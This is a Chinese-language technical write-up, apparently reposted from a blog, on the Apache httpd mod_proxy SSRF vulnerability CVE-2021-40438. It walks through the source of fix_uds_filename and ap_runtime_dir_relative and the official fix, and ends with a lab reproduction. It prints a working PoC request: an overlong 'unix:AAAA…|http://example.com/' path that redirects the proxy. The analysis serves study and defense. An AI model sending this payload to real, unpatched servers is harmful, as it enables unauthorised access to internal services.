影响版本

v2.4.48及以下版本

该版本中mod_proxy模块存在一处逻辑错误,导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。该漏洞影响范围较广,危害较大,利用简单,目前已在vulhub上有靶场,在审计代码并分析原理后我会直接用docker创建一个环境。

简单总结

1.使用了mod_proxy,Apache源码中出现逻辑错误是在modules/proxy/proxy_util.c的fix_uds_filename函数

2.使ap_runtime_dir_relative函数返回值是null

3.需要在unix:|之间传入内容长度大概超过4092的字符串,就能构造出uds_path为null的结果,让Apache不再发送请求给unix套接字。

4.满足以上条件,使访问后|面的http链接造成SSRF

正向代理与反向代理

正向代理:隐藏了客户端,代理服务器替代客户端发出请求。客户端与正向代理服务器处于同一局域网。

反向代理:反向代理服务器接受客户端请求后,会把请求分转发到真实提供服务的各台服务器。隐藏了真实服务器,如CDN。

关于mod_proxy

如果我们要部署一个PHP运行环境,且将Apache作为Web应用服务器,那么常用的有三种方法:

Apache以CGI的形式运行PHP脚本
PHP以mod_php的方式作为Apache的一个模块运行
PHP以FPM的方式运行为独立服务,Apache使用mod_proxy_fcgi模块作为反代服务器将请求代理给PHP-FPM

CGI:公共网关接口,描述的是服务器和请求处理程序之间传输数据的一种标准,它会根据客户端输入(环境变量,命令行,标准输入)作出响应,把响应结果传送给 Web 服务器。

第一种方式比较古老,性能较差,支持的交互很有限,有点像10多年前的盗版小说网站,基本已经淘汰;

第二种方式不存在外部的PHP进程,而是由mod_php模块进程解释执行PHP脚本,意味着PHP与Apache通信更方便快捷,在Apache环境下使用较广,配置最为简单,也是目前最常用的一种;

第三种FPM是FastCGI进程管理器,相当于CGI的升级版,传统的CGI进程是用完即销,每次都需要解析配置,初始化环境和分析请求等,而FastCGI会用一个持久的main进程负责以上,同时每次会fork出子进程用以针对处理用户实际的请求

第三种方法也有较大用户体量,不过Apache仅作为一个中间的反代服务器,更多新的用户会选择使用性能更好的Nginx替代。

这其中,第三种方法使用的mod_proxy_fcgi就是mod_proxy模块的一个子模块。mod_proxy是Apache服务器中用于反代后端服务的一个模块,而它拥有数个不同功能的子模块,分别用于支持不同通信协议的后端,比如常见的有:

mod_proxy_fcgi 用于反代后端是fastcgi协议的服务,比如php-fpm
mod_proxy_http 用于反代后端是http、https协议的服务
mod_proxy_uwsgi 用于反代后端是uwsgi协议的服务,主要针对uWSGI
mod_proxy_ajp 用于反代后端是ajp协议的服务,主要针对Tomcat
mod_proxy_ftp 用于反代后端是ftp协议的服务

进行复现的时候会对物理机服务器上的一个页面伪造访问请求,故以分析mod_proxy_http为例

 

apache hook机制

Apache对HTTP的请求可以分为连接、处理和断开连接三个阶段;从小的方面而言,每个阶段又可以分为更多的子阶段。比如对HTTP的请求,我们可以进一步划分为客户身份验证、客户权限认证、请求校验等阶段,每一个阶段调用相应的函数进行处理。在Apache中,这些子阶段可以用术语hook来描述。因此你只需要创建一个hook,挂于请求处理程序上:“告诉服务器它要么服务用户发起的请求,要么只是瞥一眼该请求。”

Apache所有的模块(包括mod_rewrite, mod_authn_*, mod_proxy等)均是将钩子挂于请求程序的各个部分来实现。这样一来,Apache服务器本身无需知道每个模块具体负责处理哪个部分以及处理什么,它只需要在客户端请求达到的时候询问下哪个模块对这个请求『感兴趣』即可,而每个模块只需选择要还是不要,如果要,那就按照hook定义的内容处理然后返回接口。 通过Hook机制,PHP模块可以在Apache请求处理流程中负责处理那些关于php脚本的请求(即负责解释、执行php脚本)。

漏洞原理分析

这里面,Apache源码中出现逻辑错误是在modules/proxy/proxy_util.c的fix_uds_filename函数:

 

 

Apache在配置反代的后端服务器时,有两种情况:

直接使用某个协议反代到某个IP和端口,比如ProxyPass / "http://localhost:8080"
使用某个协议反代到unix套接字,比如ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"

第一种情况比较好理解,第二种情况相当于让用户可以使用一个Apache自创的写法来配置后端地址。那么这时候就会涉及到分析语句的过程,需要将这种自创的语法转换成能兼容正常socket连接的结构,而fix_uds_filename函数就是做这个事情的。

使用字符串文法来表示多种含义的方式通常暗藏一些漏洞,比如这里,进入这个if语句需要满足三个条件:

r->filename的前6个字符等于proxy:
r->filename的字符串中含有关键字unix:
unix:关键字后的部分含有字符|

当满足这三个条件后,unix:后面的内容进行解析,设置成uds_path的值;将字符|后面的内容,设置成rurl的值。

 

举个例子,前面介绍中的ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/",在解析完成后,uds_path的值等于/var/run/www.sockrurl的值等于http://localhost:8080/

 

看到这里其实都没有什么问题,那么我们肯定会思考,r->filename是从哪来的,用户可控吗,为什么?

这时就要说到另一个函数,proxy_hook_canon_handler,这个函数用于注册canon handler,比如:

可以看到,每一个mod_proxy_xxx都会注册一个自己的canon handler,canon handler会在反代的时候被调用,用于告诉Apache主程序它应该把这个请求交给哪个处理方法来处理

我们看到mod_proxy_httpproxy_http_canon函数:

static int proxy_http_canon(request_rec *r, char *url)
{
   const char *base_url = url;
   char *host, *path, sport[7];
   char *search = NULL;
   const char *err;
   const char *scheme;
   apr_port_t port, def_port;
   int is_ssl = 0;

   scheme = get_url_scheme((const char **)&url, &is_ssl);
   if (!scheme) {
       return DECLINED;
  }
   port = def_port = (is_ssl) ? DEFAULT_HTTPS_PORT : DEFAULT_HTTP_PORT;

   ap_log_rerror(APLOG_MARK, APLOG_TRACE1, 0, r,
                 "HTTP: canonicalising URL %s", base_url);

   /* do syntatic check.
    * We break the URL into host, port, path, search
    */
   err = ap_proxy_canon_netloc(r->pool, &url, NULL, NULL, &host, &port);
   if (err) {
       ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01083)
                     "error parsing URL %s: %s", base_url, err);
       return HTTP_BAD_REQUEST;
  }

   /*
    * now parse path/search args, according to rfc1738:
    * process the path.
    *
    * In a reverse proxy, our URL has been processed, so canonicalise
    * unless proxy-nocanon is set to say it's raw
    * In a forward proxy, we have and MUST NOT MANGLE the original.
    */
   switch (r->proxyreq) {
   default: /* wtf are we doing here? */
   case PROXYREQ_REVERSE:
       if (apr_table_get(r->notes, "proxy-nocanon")) {
           path = url;   /* this is the raw path */
      }
       else {
           path = ap_proxy_canonenc(r->pool, url, strlen(url),
                                    enc_path, 0, r->proxyreq);
           search = r->args;
      }
       break;
   case PROXYREQ_PROXY:
       path = url;
       break;
  }

   if (path == NULL)
       return HTTP_BAD_REQUEST;

   if (port != def_port)
       apr_snprintf(sport, sizeof(sport), ":%d", port);
   else
       sport[0] = '\0';

   if (ap_strchr_c(host, ':')) { /* if literal IPv6 address */
       host = apr_pstrcat(r->pool, "[", host, "]", NULL);
  }

   r->filename = apr_pstrcat(r->pool, "proxy:", scheme, "://", host, sport,
                             "/", path, (search) ? "?" : "", search, NULL);
   return OK;
}

这个函数中有三个主要的部分,

第一部分检查了配置中的url的开头是不是http:或https:,如果不是,说明这个请求不该由mod_proxy_http模块处理,后续的过程跳过;

第二部分,用各种方式获取到scheme、host、port、path、search等几个URL的组成变量;

第三部分,拼接proxy:、scheme、://、host、sport、/、path、search,成为一个字符串,赋值给r->filename。

这里面,scheme、host、port来自于配置文件中配置的ProxyPass,而path、search来自于用户发送的数据包。也就是说,r->filename中的后半部分是用户可控的。

那我们回看前面的fix_uds_filename函数,它在r->filename中查找关键字unix:,并将这个关键字后面直到|的部分作为unix套接字地址,而将|后面的部分作为反代的后端地址。

 

 

发送以下请求返回如下界面

 

在后端查看log日志显示内容如下,attempt to connect to Unix domain socket /tmp/xxxx,这说明已经把之前配置文件里代理到http://192.168.253.161:8080 链接的配置修改为了访问Unix domain socket套接字。

docker容器日志查看:docker logs 容器id

 

 

我们可以通过请求的path或者search来控制这两个部分,控制了反代的后端地址,这也就是为什么这里会出现SSRF的原因。

我们在构造请求包的时候有一个问题,那就是Apache在正常情况下,因为识别到了unix套接字,所以会把用户请求发送给这个本地文件套接字,而不是后端URL

测试

 

 

 

由于我们没有创建unix套接字/var/run/test.sock,当然是访问不了的。

然而我们不能让他把请求发送到unix套接字上,而是发送给我们需要的|后面的地址,这样才能构成SSRF攻击

国外那位作者给出了一个非常巧妙的方法,在fix_uds_filename函数中,unix套接字的地址来自于下面这两行代码:

char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);

 

 

如果上面ap_runtime_dir_relative函数返回值是null,则下面获取uds_path时将不会使用unix套接字地址,而变成普通的TCP连接:

//关键代码

uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path"));
if (uds_path) {
  if (conn->uds_path == NULL) {
      /* use (*conn)->pool instead of worker->cp->pool to match lifetime */
      conn->uds_path = apr_pstrdup(conn->pool, uds_path);
  }
  // ...
  conn->hostname = "httpd-UDS";
  conn->port = 0;
}
else {
  // TCP
  conn->hostname = apr_pstrdup(conn->pool, uri->hostname);
  conn->port = uri->port;
  // ...
}
  //if else全代码
 
uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path"));
  if (uds_path) {
      if (conn->uds_path == NULL) {
          /* use (*conn)->pool instead of worker->cp->pool to match lifetime */
          conn->uds_path = apr_pstrdup(conn->pool, uds_path);
      }
      if (conn->uds_path) {
          ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02545)
                        "%s: has determined UDS as %s",
                        uri->scheme, conn->uds_path);
      }
      else {
          /* should never happen */
          ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02546)
                        "%s: cannot determine UDS (%s)",
                        uri->scheme, uds_path);

      }
      /*
        * In UDS cases, some structs are NULL. Protect from de-refs
        * and provide info for logging at the same time.
        */
      if (!conn->addr) {
          apr_sockaddr_t *sa;
          apr_sockaddr_info_get(&sa, NULL, APR_UNSPEC, 0, 0, conn->pool);
          conn->addr = sa;
      }
      conn->hostname = "httpd-UDS";
      conn->port = 0;
  }
      else {
      int will_reuse = worker->s->is_address_reusable && !worker->s->disablereuse;
      if (!conn->hostname || !will_reuse) {
          if (proxyname) {
              //TCP
              conn->hostname = apr_pstrdup(conn->pool, proxyname);
              conn->port = proxyport;
              /*
                * If we have a forward proxy and the protocol is HTTPS,
                * then we need to prepend a HTTP CONNECT request before
                * sending our actual HTTPS requests.
                * Save our real backend data for using it later during HTTP CONNECT.
                */
              if (conn->is_ssl) {
                  const char *proxy_auth;

                  forward_info *forward = apr_pcalloc(conn->pool, sizeof(forward_info));
                  conn->forward = forward;
                  forward->use_http_connect = 1;
                  forward->target_host = apr_pstrdup(conn->pool, uri->hostname);
                  forward->target_port = uri->port;
                  /* Do we want to pass Proxy-Authorization along?
                    * If we haven't used it, then YES
                    * If we have used it then MAYBE: RFC2616 says we MAY propagate it.
                    * So let's make it configurable by env.
                    * The logic here is the same used in mod_proxy_http.
                    */
                  proxy_auth = apr_table_get(r->headers_in, "Proxy-Authorization");
                  if (proxy_auth != NULL &&
                      proxy_auth[0] != '\0' &&
                      r->user == NULL && /* we haven't yet authenticated */
                      apr_table_get(r->subprocess_env, "Proxy-Chain-Auth")) {
                      forward->proxy_auth = apr_pstrdup(conn->pool, proxy_auth);
                  }
              }
          }
          else {
              conn->hostname = apr_pstrdup(conn->pool, uri->hostname);
              conn->port = uri->port;
          }
          if (!will_reuse) {
              /*
                * Only do a lookup if we should not reuse the backend address.
                * Otherwise we will look it up once for the worker.
                */
              err = apr_sockaddr_info_get(&(conn->addr),
                                          conn->hostname, APR_UNSPEC,
                                          conn->port, 0,
                                          conn->pool);
          }
          socket_cleanup(conn);
          conn->close = 0;
      }
      if (will_reuse) {
          /*
            * Looking up the backend address for the worker only makes sense if
            * we can reuse the address.
            */
          if (!worker->cp->addr) {
#if APR_HAS_THREADS
              if ((err = PROXY_THREAD_LOCK(worker)) != APR_SUCCESS) {
                  ap_log_rerror(APLOG_MARK, APLOG_ERR, err, r, APLOGNO(00945) "lock");
                  return HTTP_INTERNAL_SERVER_ERROR;
              }
#endif

              /*
                * Recheck addr after we got the lock. This may have changed
                * while waiting for the lock.
                */
              if (!AP_VOLATILIZE_T(apr_sockaddr_t *, worker->cp->addr)) {

                  apr_sockaddr_t *addr;

                  /*
                    * Worker can have the single constant backend address.
                    * The single DNS lookup is used once per worker.
                    * If dynamic change is needed then set the addr to NULL
                    * inside dynamic config to force the lookup.
                    */
                  err = apr_sockaddr_info_get(&addr,
                                              conn->hostname, APR_UNSPEC,
                                              conn->port, 0,
                                              worker->cp->dns_pool);
                  worker->cp->addr = addr;
              }
              conn->addr = worker->cp->addr;
#if APR_HAS_THREADS
              if ((uerr = PROXY_THREAD_UNLOCK(worker)) != APR_SUCCESS) {
                  ap_log_rerror(APLOG_MARK, APLOG_ERR, uerr, r, APLOGNO(00946) "unlock");
              }
#endif
          }
          else {
              conn->addr = worker->cp->addr;
          }
      }
  }

 

 

 

如何让ap_runtime_dir_relative的返回值是null

跟进该函数

AP_DECLARE(char *) ap_runtime_dir_relative(apr_pool_t *p, const char *file)
{
char *newpath = NULL;
apr_status_t rv;
const char *runtime_dir = ap_runtime_dir ? ap_runtime_dir : ap_server_root_relative(p, DEFAULT_REL_RUNTIMEDIR);

rv = apr_filepath_merge(&newpath, runtime_dir, file,
APR_FILEPATH_TRUENAME, p);
if (newpath && (rv == APR_SUCCESS || APR_STATUS_IS_EPATHWILD(rv)
|| APR_STATUS_IS_ENOENT(rv)
|| APR_STATUS_IS_ENOTDIR(rv))) {
return newpath;
}
else {
return NULL;
}
}

 

可以看到,ap_runtime_dir_relative函数最后引用了apr库中的apr_filepath_merge函数,它的主要作用就是路径的join,用于处理相对路径、绝对路径、../连接。

//由于在我下载的apache2.4.48中用vs追踪未追到该函数所以直接用原文作者贴出部分源码。
APR_DECLARE(apr_status_t) apr_filepath_merge(char **newpath,
const char *rootpath,
const char *addpath,
apr_int32_t flags,
apr_pool_t *p)
{
...

rootlen = strlen(rootpath);
maxlen = rootlen + strlen(addpath) + 4; /* 4 for slashes at start, after
* root, and at end, plus trailing
* null */
if (maxlen > APR_PATH_MAX) {
return APR_ENAMETOOLONG;
}

...

}

这个函数中,当待join的两段路径长度+4大于APR_PATH_MAX,也就是4096的时候,则函数会返回一个路径过长的状态码,导致最后unix套接字的值是null

也就是说,我们只需要在unix:与|之间传入内容长度大概超过4092的字符串,就能构造出uds_path为null的结果,让Apache不再发送请求给unix套接字。

复现

修复Apache官方对这个漏洞的修复也比较简单,因为用户只能控制r->filename的后半部分,而前半部分proxy:{scheme}://{host}{port}/来自于配置文件,所以最新版改成检查其开头是不是proxy:unix:这一用户无法控制的部分。不再发送请求给unix套接字。

利用vulhub提供的poc进行复现,结果如下,复现成功

vulhub poc位置vulhub/vulhub-master/httpd/CVE-2021-40438/EADME.md或README.zh-cn.md

poc如下

GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.253.161:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

 测试 SSRF成功利用

apache2.4.48源码下载地址:https://launchpad.net/debian/+source/apache2/2.4.48-2

 

 

本文绝大部分内容参考了以下文章:

原文链接:https://blog.csdn.net/Ivyyyyyy1/article/details/124734549



原文地址:http://www.cnblogs.com/jdslf/p/16846682.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性